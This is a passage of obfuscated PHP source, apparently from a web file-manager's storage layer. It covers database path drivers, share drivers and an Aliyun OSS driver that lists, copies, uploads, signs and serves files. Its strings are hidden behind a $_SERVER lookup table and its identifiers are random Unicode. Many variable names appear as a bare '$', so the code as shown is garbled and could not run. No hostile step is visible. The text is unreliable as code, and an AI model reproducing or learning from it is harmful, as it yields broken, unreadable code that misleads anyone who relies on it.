hashSimple($ᇂ) { $ =& $_SERVER[ׇ]; $ = $this->infoWithChildren($ᇂ); return $[$[170]][$[672]]; } public function hashMd5($߃Ա) { $Ä =& $_SERVER[ׇ]; $ٺ = $this->infoWithChildren($߃Ա); return $ٺ[$Ä[170]][$Ä[547]]; } public function exist($ȁҲ) { $ =& $_SERVER[ׇ]; $؁й = $this->parse($ȁҲ); if (!$؁й[$[87]]) { return $this->isFile($ȁҲ) || $this->isFolder($ȁҲ); } $ = array($[477] => $؁й[$[475]], $[32] => $؁й[$[87]]); $޽ = $this->model->where($)->find(); return $޽ ? !0 : !1; } public function isFile($) { $Ċ =& $_SERVER[ׇ]; $ȋτ = $this->infoSimple($); return $ȋτ && $ȋτ[$Ċ[485]] == $Ċ[228] ? !0 : !1; } public function isFolder($أ) { $ =& $_SERVER[ׇ]; $흭Ϣ = $this->infoSimple($أ); return $흭Ϣ && $흭Ϣ[$[485]] == $[91] ? !0 : !1; } public function listPath($, $ޤ = false) { $ =& $_SERVER[ׇ]; if ($ == $[12]) { return !1; } $ = array($[477] => $); if ($ޤ) { return $this->model->listSource($, -1); } return $this->model->listSource($); } public function has($, $ = false, $൷ = null) { $ӹ =& $_SERVER[ׇ]; $ = $this->infoWithChildren($); if ($) { return array($ӹ[240] => $[$ӹ[240]], $ӹ[239] => $[$ӹ[239]]); } return $൷ ? $[$ӹ[240]] : $[$ӹ[239]]; } public function listAll($) { $ҩƔ = IO::info($this->pathParse[$_SERVER[ׇ][87]]); if (!$ҩƔ) { return array(); } return $this->model->listAll($); } public function getContent($̩) { return $this->model->getContent($̩); } public function setContent($, $ϓ = '') { return $this->model->setContent($, $ϓ); } public function fileSubstr($, $Ө, $׸) { return $this->model->fileSubstr($, $Ө, $׸); } public function download($ʔ, $ = '') { $Ǯ = get_path_father($); $ğ = get_path_this($); $ѹ = $this->model->fileInfoGet($ʔ); $ٙÚ = IO::copy($ѹ[$_SERVER[ׇ][87]], $Ǯ, !1, $ğ); return $ٙÚ; } public function setModifyTime($İ, $ = '') { $ =& $_SERVER[ׇ]; if (!$İ) { return; } $this->model->where(array($[491] => $İ))->save(array($[88] => $)); } public function upload($㭴ם, $, $ = false, $Ԭ = REPEAT_REPLACE) { $䙑 =& $_SERVER[ׇ]; $򊮝 = $this->parse($㭴ם); $Χ = $this->model->addFile($򊮝[$䙑[475]], $, $򊮝[$䙑[87]], $, $Ԭ); return $this->getPathOuter($Χ); } public function uploadFileByID($, $, $߉) { $ =& $_SERVER[ׇ]; $ = $this->parse($); $ᛒ = $this->model->addFileByFileID($[$[475]], $, $[$[87]], $߉); return $this->getPathOuter($ᛒ); } public function addFileByRemote($, $ĥ, $̍ = array(), $儧 = '', $) { $۔ =& $_SERVER[ׇ]; $Ƌ = $this->parse($); $儧 = empty($儧) ? $Ƌ[$۔[87]] : $儧; $ȵ㴚 = $this->model->addFileByRemote($Ƌ[$۔[475]], $ĥ, $儧, $̍, $); return $this->getPathOuter($ȵ㴚); } public function uploadLink($ݾυ, $ = 0) { $ձ =& $_SERVER[ׇ]; $鷽 = $this->parse($ݾυ); $ = _get($GLOBALS[$ձ[7]], $ձ[1422]); $ = _get($GLOBALS[$ձ[7]], $ձ[1423]); $ݾυ = Model($ձ[674])->createFileName($鷽[$ձ[87]], $, $); return IO::uploadLink($ݾυ, $); } public function fileNameAuto($Ŷ, $, $ = REPEAT_REPLACE, $ڕ = false) { return $this->model->fileNameAuto($Ŷ, $, $, $ڕ); } public function fileNameExist($, $۫) { return $this->model->fileNameExist($, $۫); } protected function _fileOut($֢, $╡ԁ = false, $؇ = false, $ܶ = '', $ҝζ = false) { $ =& $_SERVER[ׇ]; $ = $this->model->sourceInfo($֢); if ($[$[485]] == $[91]) { header($[1424]); die; } $ = $this->model->fileInfoGet($֢); $ܶ = $[$[547]] ? $[$[547]] : $ܶ; $ = isset($GLOBALS[$[182]]) && is_array($GLOBALS[$[182]]) ? $GLOBALS[$[182]][$[32]] : $[$[32]]; if ($ҝζ) { return IO::fileOutServer($[$[87]], $╡ԁ, $, $ܶ); } IO::fileOut($[$[87]], $╡ԁ, $, $ܶ); } public function fileOut($ń, $Ī͋ = false, $⑇ = false, $Վ = '') { $this->_fileOut($ń, $Ī͋, $⑇, $Վ); } public function fileOutServer($ܞ, $ߐ = false, $ = false, $ƌ = '') { $this->_fileOut($ܞ, $ߐ, $, $ƌ, !0); } protected function _fileOutImage($刐, $Ġ = 250) { $ܟ鴖 =& $_SERVER[ׇ]; $ = $this->model->pathInfo($刐); if ($[$ܟ鴖[485]] == $ܟ鴖[91]) { show_json($ܟ鴖[1425] . $刐, !1); } $ײ = $this->model->fileInfoGet($刐); $[$ܟ鴖[183]] = $ײ[$ܟ鴖[87]]; $GLOBALS[$ܟ鴖[182]] = $; IO::fileOutImage($ײ[$ܟ鴖[87]], $Ġ); } public function fileOutImage($睭, $ݣ = 250) { $this->_fileOutImage($睭, $ݣ); } public function fileOutImageServer($, $ = 250) { $this->_fileOutImage($, $); } public function link($, $ސ = '') { $ = $this->model->fileInfoGet($); return IO::link($[$_SERVER[ׇ][87]], $ސ); } protected function parse($) { $ؽ =& $_SERVER[ׇ]; if (strstr($, $ؽ[8]) === !1) { return array($ؽ[493] => intval($), $ؽ[87] => $ؽ[12], $ؽ[1421] => array()); } $ = explode($ؽ[8], trim($, $ؽ[8])); if (count($) < 2) { show_tips(clear_html($) . $ؽ[1426]); } return array($ؽ[493] => intval($[0]), $ؽ[87] => $[1], $ؽ[1421] => array_slice($, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($妿) { $this->pathParse = $妿; $this->model = Model($_SERVER[ׇ][1420]); } public function getPathOuter($ִ) { $Ͻ =& $_SERVER[ׇ]; if (!$ִ) { return $ִ; } $ֳ = $this->parse($ִ); return trim(KodIO::makeShare($this->pathParse[$Ͻ[475]], $ֳ[$Ͻ[475]]), $Ͻ[8]); } protected function infoParse($㶚, $ = false, $̨暮 = false) { $ =& $_SERVER[ׇ]; $з = $this->pathParse[$[475]]; $ = trim($this->pathParse[$[1250]], $[8]); return Action($[1427])->sharePathInfo($з, $, $); } public function infoFull($) { $Ɔ =& $_SERVER[ׇ]; $ɡܠ = explode($Ɔ[8], trim($, $Ɔ[8])); if (count($ɡܠ) > 1) { $ = implode($Ɔ[8], array_splice($ɡܠ, 1)); $ؽ = $this->model->pathInfoByPath($ɡܠ[0], $); if (!$ؽ) { return !1; } $this->pathParse[$Ɔ[1250]] = $ؽ[$Ɔ[193]]; } return $this->infoParse($); } public function listAll($ҳ) { $ί =& $_SERVER[ׇ]; $ٸ = IO::info($this->pathParse[$ί[87]]); if (!$ٸ) { return array(); } $ = $this->model->listAll($ҳ); $󄻋 = Model($ί[664])->getInfo($ٸ[$ί[665]]); foreach ($ as &$ȝ) { check_abort(); $ȝ[$ί[90]] = Action($ί[1427])->_shareItemeParse($ȝ[$ί[90]], $󄻋); } unset($ȝ); return $; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[ׇ][1420]); } protected function infoParse($̒, $ = false, $ѕ = false) { $ =& $_SERVER[ׇ]; return Action($[1256])->sharePathInfo($this->pathParse[$[87]], !0, $); } public function listPath($쁖, $漬 = false) { $ל =& $_SERVER[ׇ]; $ = parent::listPath($쁖, $漬); if (!$) { return $; } if (is_array($[$ל[1428]])) { $[$ל[1428]] = Action($ל[1256])->shareItemInfo($[$ל[1428]]); } foreach ($ as $ѭ => $Ŏ) { if (!in_array($ѭ, array($ל[86], $ל[85]))) { continue; } foreach ($Ŏ as $֛ => $) { $[$ѭ][$֛] = Action($ל[1256])->shareItemInfo($); } } return $; } public function listAll($ӕ) { $Ҳ =& $_SERVER[ׇ]; $ = IO::info($this->pathParse[$Ҳ[87]]); if (!$) { return array(); } $ = $this->model->listAll($ӕ); foreach ($ as &$) { $[$Ҳ[90]] = Action($Ҳ[1256])->shareItemInfo($[$Ҳ[90]]); } unset($); return $; } } goto a΅; cÝݧ: class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\x30"; public $cdnHost = ''; public $config = array(); public function __construct($܍) { parent::__construct(); include_once SDK_DIR . $_SERVER[ׇ][1462]; $this->_init($܍); } public function _init($) { $ =& $_SERVER[ׇ]; $this->config = $; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1463] . LNG($[1464])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ =& $_SERVER[ׇ]; $轱 = new OSS\Model\CorsConfig(); $ȩ = new OSS\Model\CorsRule(); $ȩ->addAllowedOrigin($[1465]); $ȩ->addAllowedMethod($[1466]); $ȩ->addAllowedMethod($[1467]); $ȩ->addAllowedMethod($[1468]); $ȩ->addAllowedMethod($[1469]); $ȩ->addAllowedMethod($[165]); $ȩ->setMaxAgeSeconds(600); $ȩ->addExposeHeader($[1470]); $ȩ->addAllowedHeader($[1465]); $轱->addRule($ȩ); try { $this->client->putBucketCors($this->bucket, $轱); } catch (OSS\Core\OssException $Ħ) { $this->writeLog(__FUNCTION__ . $[214] . $Ħ->getMessage()); return !1; } return !0; } public function getBucketCors() { $۫ =& $_SERVER[ׇ]; $Ѧ = null; try { $Ѧ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $۫[214] . $->getMessage()); return null; } if (!$Ѧ || !($ = $Ѧ->getRules())) { return null; } $Ӿ = $[0]->getAllowedOrigins(); $֪ = $[0]->getAllowedMethods(); $ŀ = $[0]->getMaxAgeSeconds(); $阪 = $[0]->getExposeHeaders(); $Ƣ = $[0]->getAllowedHeaders(); return array($۫[218] => isset($Ӿ[0]) ? $Ӿ[0] : $۫[12], $۫[222] => $֪, $۫[1471] => $ŀ, $۫[1472] => isset($阪[0]) ? $阪[0] : $۫[12], $۫[219] => isset($Ƣ[0]) ? $Ƣ[0] : $۫[12]); } public function isBucketCors() { $ =& $_SERVER[ׇ]; $Ȑ = $this->getBucketCors(); if (!$Ȑ || !is_array($Ȑ)) { return !1; } if ($Ȑ[$[218]] != $[220] || $Ȑ[$[219]] != $[220]) { return !1; } $ = array_map($[221], $Ȑ[$[222]]); if (!is_array($)) { $ = array(); } $჉ = array($[223], $[224], $[225], $[226], $[227]); $ = array_diff($჉, $); return empty($); } public function mkfile($ú, $ԧ҂ = '', $؊ = REPEAT_RENAME) { $ɩ = $this->setContent($ú, $ԧ҂); if ($ɩ !== !1) { return $this->getPathOuter($ú); } return !1; } public function mkdir($, $Ƙ؝ = REPEAT_SKIP) { if ($Ƙ؝ && $this->_isFolder($)) { return $this->getPathOuter($); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $Õ) { $this->writeLog(__FUNCTION__ . $_SERVER[ׇ][214] . $Õ->getMessage()); return !1; } return $this->getPathOuter($); } private function fileList($؎, $Ă = '', $ң = 0) { $쯋 =& $_SERVER[ׇ]; $؎ = trim($؎, $쯋[8]); $ = empty($؎) && $؎ !== $쯋[228] ? $쯋[12] : $؎ . $쯋[8]; $ = $쯋[12]; $ٶ = 1000; $آ = $엎 = array(); while (!0) { check_abort(); $ = array($쯋[1473] => $Ă, $쯋[1474] => $, $쯋[1475] => $ٶ, $쯋[1476] => $); try { $鎞 = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $쯋[214] . $->getMessage()); break; } $ = $鎞->getNextMarker(); $ɲؓ = $鎞->getObjectList(); $ = $鎞->getPrefixList(); foreach ($ɲؓ as $ն) { if ($ն->getKey() == $) { continue; } $ש = $ն->getKey(); $ = $ն->getSize(); $ސ = $ն->getLastModified(); $ = trim($ն->getETag(), $쯋[121]); $Ųȶ = $ң ? array($쯋[32] => $ש, $쯋[79] => $, $쯋[206] => strtotime($ސ), $쯋[1477] => $) : $ש; $ = $ == 0 && substr($ש, strlen($ש) - 1, 1) == $쯋[8] ? !0 : !1; $ = array($쯋[79] => $, $쯋[1478] => $, $쯋[88] => strtotime($ސ), $쯋[1479] => $ސ, $쯋[1477] => $); $this->cacheMethodInfoSet($ש, $, $); if ($) { $آ[] = $ש; continue; } $엎[] = $Ųȶ; } foreach ($ as $ᙿ) { $آ[] = $ᙿ->getPrefix(); $this->cacheMethodInfoSet($ᙿ->getPrefix(), !0); } if ($ === $쯋[12]) { break; } } $this->cacheMethodInfoSet($؎, !0); return array($쯋[85] => $آ, $쯋[86] => $엎); } public function listObject($ŋ, $ܪ = '') { $Ӆ =& $_SERVER[ׇ]; $ŋ = trim($ŋ, $Ӆ[8]); $ŏ = empty($ŋ) && $ŋ !== $Ӆ[228] ? $Ӆ[12] : $ŋ . $Ӆ[8]; $ = $Ӆ[12]; $؎ԟ = 1000; $ = $ = array(); while (!0) { check_abort(); $ = array($Ӆ[1473] => $ܪ, $Ӆ[1474] => $ŏ, $Ӆ[1475] => $؎ԟ, $Ӆ[1476] => $); try { $ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $򚱍) { $this->writeLog(__FUNCTION__ . $Ӆ[214] . $򚱍->getMessage()); break; } $ = $->getNextMarker(); $Ʉ = $->getObjectList(); foreach ($Ʉ as $җ) { if ($җ->getKey() == $ŏ) { continue; } $ = $җ->getKey(); $ѧ = $җ->getSize(); $ = $ѧ == 0 && substr($, strlen($) - 1, 1) == $Ӆ[8] ? !0 : !1; if ($) { continue; } (yield $ѧ . $Ӆ[214] . $); } if ($ === $Ӆ[12]) { break; } } } public function copyFile($ѷۑ, $) { $ݴ = $this->size($ѷۑ); if ($ݴ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $ѷۑ, $this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[ׇ][214] . $->getMessage()); return !1; } return $this->getPathOuter($); } $߲ = $this->multiCopyObject($ѷۑ, $, $ݴ); return $߲ ? $this->getPathOuter($) : !1; } private function multiCopyObject($, $ۼ, $) { $ =& $_SERVER[ׇ]; try { $ = array(); if ($䓿 = $this->hashMd5($)) { $ = array(OSS\OssClient::OSS_HEADERS => array($[1480] => $䓿)); } $闙 = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($ۼ), $); $ = 1; $陘 = 0; $ = array(); $ = 1024 * 1024 * 10; $ġ = $this->client->generateMultiuploadParts($, $); foreach ($ġ as $۠ => $ۨ٧) { $ = $陘 + (int) $ۨ٧[$[1481]]; $𚇚 = (int) $ۨ٧[$[413]] + $ - 1; $ߡ = array($[167] => $, $[168] => $𚇚); $[] = $this->client->uploadPartCopy($this->bucket, $, $this->bucket, $this->pathEncode($ۼ), $, $闙, $ߡ); $ = $ + 1; } $ = array(); foreach ($ as $۠ => $) { $[] = array($[308] => $۠ + 1, $[309] => $); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($ۼ), $闙, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } return !0; } public function moveFile($̺, $ǹ) { if ($this->copyFile($̺, $ǹ)) { $this->remove($̺); return $this->getPathOuter($ǹ); } return !1; } public function delFile($ߚ޳) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($ߚ޳)); } catch (OSS\Core\OssException $Ų) { $this->writeLog(__FUNCTION__ . $_SERVER[ׇ][214] . $Ų->getMessage()); return !1; } return !0; } public function delFolder($) { $ܮ =& $_SERVER[ׇ]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ͪ = trim($, $ܮ[8]) . $ܮ[8]; if (!empty($) && $ !== $ܮ[228] && !in_array($ͪ, $[$ܮ[85]])) { $[$ܮ[85]][] = $ͪ; } $ = $this->delByBatch($[$ܮ[86]]); if (!$) { return !1; } $ = $this->delByBatch($[$ܮ[85]]); if (!$) { return !1; } return $this->delFile($ͪ); } private function delByBatch($ǰ٭) { foreach (array_chunk($ǰ٭, 1000) as $߸) { try { $this->client->deleteObjects($this->bucket, $߸); } catch (OSS\Core\OssException $˟) { $this->writeLog(__FUNCTION__ . $_SERVER[ׇ][214] . $˟->getMessage()); return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } private function fileInfo($, $Ś = false, $竗 = array()) { $Ŷݘ =& $_SERVER[ׇ]; $Τ = array($Ŷݘ[32] => $this->pathThis($), $Ŷݘ[87] => $this->getPathOuter($), $Ŷݘ[33] => $Ŷݘ[230], $Ŷݘ[79] => isset($竗[$Ŷݘ[79]]) ? $竗[$Ŷݘ[79]] : 0, $Ŷݘ[169] => $this->ext($)); if ($Ś) { return $Τ; } $Τ[$Ŷݘ[231]] = $Τ[$Ŷݘ[88]] = 0; $Τ[$Ŷݘ[232]] = $Τ[$Ŷݘ[233]] = !0; if (empty($竗)) { $ = $this->objectMeta($); if (!$) { return $Τ; } $竗 = array($Ŷݘ[88] => strtotime($[$Ŷݘ[1479]]), $Ŷݘ[79] => $[$Ŷݘ[1478]] + 0, $Ŷݘ[1477] => $[$Ŷݘ[1477]]); } if (isset($竗[$Ŷݘ[1477]]) && $竗[$Ŷݘ[1477]]) { $Τ[$Ŷݘ[235]] = trim($竗[$Ŷݘ[1477]], $Ŷݘ[121]); } if (isset($竗[$Ŷݘ[79]])) { $Τ[$Ŷݘ[79]] = $竗[$Ŷݘ[79]]; } if (isset($竗[$Ŷݘ[88]])) { $Τ[$Ŷݘ[88]] = $竗[$Ŷݘ[88]]; } if (isset($竗[$Ŷݘ[206]]) && !trim($Τ[$Ŷݘ[88]])) { $Τ[$Ŷݘ[88]] = $竗[$Ŷݘ[206]]; } return $Τ; } private function folderInfo($, $ǚ = false, $ٲ = array()) { $׃ƅ =& $_SERVER[ׇ]; $ = array($׃ƅ[32] => $this->pathThis($), $׃ƅ[87] => $this->getPathOuter($׃ƅ[8] . $), $׃ƅ[33] => $׃ƅ[78]); if ($ǚ) { return $; } $[$׃ƅ[231]] = $[$׃ƅ[88]] = 0; $[$׃ƅ[232]] = $[$׃ƅ[233]] = !0; if (empty($ٲ)) { $ = rtrim($, $׃ƅ[8]) . $׃ƅ[8]; $쒻 = $this->objectMeta($); if (!$쒻) { return $; } $ٲ = array($׃ƅ[231] => $쒻[$׃ƅ[575]][$׃ƅ[1482]], $׃ƅ[88] => strtotime($쒻[$׃ƅ[1479]])); } if (isset($ٲ[$׃ƅ[88]])) { $[$׃ƅ[88]] = $ٲ[$׃ƅ[88]]; } if (isset($ٲ[$׃ƅ[231]])) { $[$׃ƅ[231]] = $ٲ[$׃ƅ[231]]; } return $; } public function listPath($, $ = false) { $ۜ =& $_SERVER[ׇ]; $ = $this->fileList($, $ۜ[8], !0); foreach ($[$ۜ[85]] as $ć => $) { $[$ۜ[85]][$ć] = $this->folderInfo($, $, $); } foreach ($[$ۜ[86]] as $ć => $) { $[$ۜ[86]][$ć] = $this->fileInfo($[$ۜ[32]], $, $); } return $; } protected function infoChildren($ʻ, &$) { $ =& $_SERVER[ׇ]; $Ʒ = $this->fileList($ʻ, $[12], !0); $[$[81]] += count($Ʒ[$[85]]); $[$[80]] += count($Ʒ[$[86]]); foreach ($Ʒ[$[86]] as $͘) { if (!$͘ || !$͘[$[79]]) { continue; } $[$[79]] += $͘[$[79]]; } } public function has($, $˖Ɓ = false, $ = true) { $섇ҡ =& $_SERVER[ׇ]; $ = trim($, $섇ҡ[8]); $ = empty($) && $ !== $섇ҡ[228] ? $섇ҡ[12] : $ . $섇ҡ[8]; $ȿ = $섇ҡ[12]; $ = 500; $Ϭ = $Șό = 0; while (!0) { check_abort(); $Ǵ = array($섇ҡ[1473] => $섇ҡ[8], $섇ҡ[1474] => $, $섇ҡ[1475] => $, $섇ҡ[1476] => $ȿ); try { $ٷ = $this->client->listObjects($this->bucket, $Ǵ); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $섇ҡ[214] . $->getMessage()); break; } $ȿ = $ٷ->getNextMarker(); $ί = $ٷ->getObjectList(); $钷 = $ٷ->getPrefixList(); if ($˖Ɓ) { if (count($ί) > 1 || count($ί) == 1 && $ί[0]->getKey() != $) { $Ϭ += count($ί) - 1; } if (!empty($钷)) { $Șό += count($钷); } if ($ȿ === $섇ҡ[12]) { break; } continue; } if ($) { if (!empty($ί)) { if (count($ί) > 1 || $ί[0]->getKey() != $) { return !0; } } } else { if (!empty($钷)) { return !0; } } if ($ȿ === $섇ҡ[12]) { break; } } if ($˖Ɓ) { return array($섇ҡ[239] => $Ϭ, $섇ҡ[240] => $Șό); } return !1; } public function listAll($) { $йި =& $_SERVER[ׇ]; $ΰ = $this->fileList($, $йި[12], !0); $Ƅ = array_to_keyvalue($ΰ[$йި[86]], $йި[32]); foreach ($ΰ[$йި[85]] as $) { if (is_string($)) { $Ƅ[$] = array($йި[79] => 0); } } return $this->listAllFiles($, $Ƅ); } public function canRead($) { $ =& $_SERVER[ׇ]; $ = $this->pathAcl($); return $ == $[1483] || $ == $[619] ? !0 : !1; } public function canWrite($) { $ = $this->pathAcl($); return $ == $_SERVER[ׇ][619] ? !0 : !1; } public function pathAcl($Ͷ) { $ =& $_SERVER[ׇ]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ُ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($Ͷ)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } $ = $ُ == $[37] ? $this->bucketAcl : $ُ; if ($ == $[1484]) { return $[1483]; } if ($ == $[1485]) { return $[619]; } return $; } private function chmodPath($Ϧ̜, $ = '') { $‹ =& $_SERVER[ׇ]; $ = empty($) ? $‹[1485] : $; $ = array($‹[37], $‹[229], $‹[1484], $‹[1485]); if (!in_array($, $)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($Ϧ̜), $); } catch (OSS\Core\OssException $DŽ) { $this->writeLog(__FUNCTION__ . $‹[214] . $DŽ->getMessage()); return !1; } return !0; } public function getContent($ǯ) { return $this->fileSubstr($ǯ, -1); } public function setContent($˥, $ = '') { $ =& $_SERVER[ׇ]; try { $ = $this->trafficLimit($[1486]); $ = $this->client->putObject($this->bucket, $this->pathEncode($˥), $, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } $崘 = array($[1480] => trim($[$[1477]], $[121]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($˥))); $this->updateObjMeta($˥, $崘); return isset($[$[1487]][$[292]]) ? !0 : !1; } private function updateObjMeta($݋, $ڱ) { $݋ = $this->pathEncode($݋); try { $յ = array(OSS\OssClient::OSS_HEADERS => $ڱ); $this->client->copyObject($this->bucket, $݋, $this->bucket, $݋, $յ); } catch (OSS\Core\OssException $ո) { $this->writeLog(__FUNCTION__ . $_SERVER[ׇ][214] . $ո->getMessage()); return !1; } return !0; } public function upload($։, $, $ = false, $؝ = REPEAT_REPLACE) { $ॻ =& $_SERVER[ׇ]; $ = trim($։, $ॻ[8]); $꒺ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($ॻ[1480] => @md5_file($)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($։))); $꒺ = $this->trafficLimit($ॻ[1486], $꒺); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($), $, $꒺); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $ॻ[214] . $->getMessage()); return !1; } return $this->getPathOuter($։); } public function getHost() { $̗ =& $_SERVER[ׇ]; $ = explode($̗[210], parent::getHost()); return $[0] . $̗[210] . $this->bucket . $̗[10] . $[1]; } public function uploadFormData($, $ҺĂ = 3600) { $ =& $_SERVER[ׇ]; if (!($̡ = $this->getHost())) { return !1; } $Ɛᰏ = $ҺĂ; $ҫ = date($[1488], time() + $Ɛᰏ); $߸ = new DateTime($ҫ); $ʙԖ = $߸->format(DateTime::ISO8601); $䭒 = strpos($ʙԖ, $[372]); $ʙԖ = substr($ʙԖ, 0, $䭒) . $[1489]; $Ӫ = 1048576000 * 5; $ʁŭ = $this->pathFather($); $ = array($[275] => $ʙԖ, $[278] => array(array($[1490], 0, $Ӫ), array($[281], $[282], $ʁŭ))); $ = base64_encode(json_encode($)); $Ɓ䴈 = base64_encode(hash_hmac($[263], $, $this->secret, !0)); $ީ = array($[293] => $, $[1491] => $this->accessKey, $[285] => $[274], $[1492] => $Ɓ䴈, $[208] => $̡); $ީ = $this->trafficLimit($[1486], $ީ); return $ީ; } public function multiUploadFormData($Ӽٿ, $ߒ = 3600) { $˅Ń =& $_SERVER[ׇ]; if (!($ǀ = $this->getHost())) { return !1; } $ = $this->trafficLimit($˅Ń[1486]); $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($Ӽٿ), $); return array($˅Ń[254] => $, $˅Ń[208] => $ǀ . $˅Ń[8] . $this->pathEncode($Ӽٿ), $˅Ń[255] => gmdate($˅Ń[1493]), $˅Ń[97] => $Ӽٿ); } public function multiUploadAuthData($, $ʽ = array()) { $Ց =& $_SERVER[ׇ]; $ = isset($ʽ[$Ց[255]]) ? $ʽ[$Ց[255]] : gmdate($Ց[1493]); $ = isset($ʽ[$Ց[169]]) ? $ʽ[$Ց[169]] : $Ց[12]; $ = $; if (isset($ʽ[$Ց[97]])) { $ = $ʽ[$Ց[97]]; unset($ʽ[$Ց[97]]); } if (isset($ʽ[$Ց[256]])) { $ʽ[$Ց[255]] = $; return $this->listUploadParts($, $ʽ); } $ = array($Ց[257], $Ց[12], $Ց[123], $, "\x78\55\x6f\163\163\55\144\x61\x74\x65\72{$}", $Ց[8] . $this->bucket . $Ց[8] . $ . $); if (strpos($, $Ց[258]) === 0) { $[0] = $Ց[259]; if ($ = $this->trafficLimit($Ց[1486])) { $ = $Ց[1494]; array_splice($, 5, 0, $ . $Ց[4] . $[$]); } } if (isset($ʽ[$Ց[260]]) && $ʽ[$Ց[260]] == $Ց[261]) { $[0] = $Ց[261]; } if (!empty($ʽ[$Ց[1495]])) { $ = array_merge(array($[4]), $ʽ[$Ց[1495]]); sort($); $[4] = implode($Ց[262], $); } $֫ = implode($Ց[262], $); $ث = base64_encode(hash_hmac($Ց[263], $֫, $this->secret, !0)); $Пƛ = $Ց[1463] . $this->accessKey . $Ց[4] . $ث; if (strpos($, $Ց[258]) === 0) { $Пƛ = array($Ց[265] => $Пƛ, $Ց[255] => $); if ($) { $Пƛ = array_merge($Пƛ, $); } } return $Пƛ; } public function listUploadParts($˒, $ټځ) { $׏ =& $_SERVER[ׇ]; $ = parse_url_query($ټځ[$׏[169]]); $߭ = $this->client->listParts($this->bucket, $this->pathEncode($˒), $[$׏[254]]); $Ђ = $߭->getListPart(); $ = array(); foreach ($Ђ as $) { $[] = array($׏[308] => $->getPartNumber(), $׏[309] => trim($->getETag(), $׏[121])); } unset($ټځ[$׏[256]], $ټځ[$׏[260]]); $ = $this->multiUploadAuthData($˒, $ټځ); if (empty($)) { return !1; } return array($׏[265] => $, $׏[255] => $ټځ[$׏[255]], $׏[267] => $); } public function download($ꂂڹ, $炒) { $ =& $_SERVER[ׇ]; if ($this->isFolder($ꂂڹ)) { return !1; } try { $ǘ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $炒); $ǘ = $this->trafficLimit($[112], $ǘ); $this->client->getObject($this->bucket, $this->pathEncode($ꂂڹ), $ǘ); } catch (OSS\Core\OssException $߀) { $this->writeLog(__FUNCTION__ . $[214] . $߀->getMessage()); return !1; } return $炒; } public function fileSubstr($ɖ, $ێ = 0, $ә = false) { if ($ێ === -1) { $ؒ־ = array(); } else { if ($ә === !1) { $㱓 = $this->size($ɖ); } else { $㱓 = $ێ + $ә - 1; } $ؒ־ = array(OSS\OssClient::OSS_RANGE => "{$ێ}\x2d{$㱓}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($ɖ), $ؒ־); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[ׇ][214] . $->getMessage()); think_exception($->getMessage()); return !1; } } private function trafficLimit($ϣ, $ = array()) { $ =& $_SERVER[ׇ]; if ($ϣ == $[1486] && $this->isUploadServer() || $ϣ == $[112] && $this->isFileOutServer()) { return $; } $ = floatval($GLOBALS[$[6]][$[92]][$[110]][$ϣ]) * 1024 * 1024 * 8; if (!$) { return $; } $ = $ < 819200 ? 819200 : ($ > 838860800 ? 838860800 : $); $[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($); return $; } public function link($, $Я = array()) { $ =& $_SERVER[ׇ]; if (!$this->exist($) || $this->isFolder($)) { return !1; } try { $Я = $this->trafficLimit($[112], $Я); $ߘ = $this->client->signUrl($this->bucket, $this->pathEncode($), 3600 * 12, $[261], $Я); return $this->getCdnLink($ߘ); } catch (OSS\Core\OssException $͊) { $this->writeLog(__FUNCTION__ . $[214] . $͊->getMessage()); return !1; } } public function fileOut($, $ݛ = false, $ = false, $ = '') { $ =& $_SERVER[ׇ]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $ݛ, $, $); } if (!$) { $ = $this->pathThis($); } $ = rawurlencode($); $ݩ = get_file_mime(get_path_ext($)); if ($ݩ == $[248]) { return parent::fileOut($, $ݛ, $, $); } $ݛ = $ݛ ? $[1496] : $[1497]; $֛ޯ = 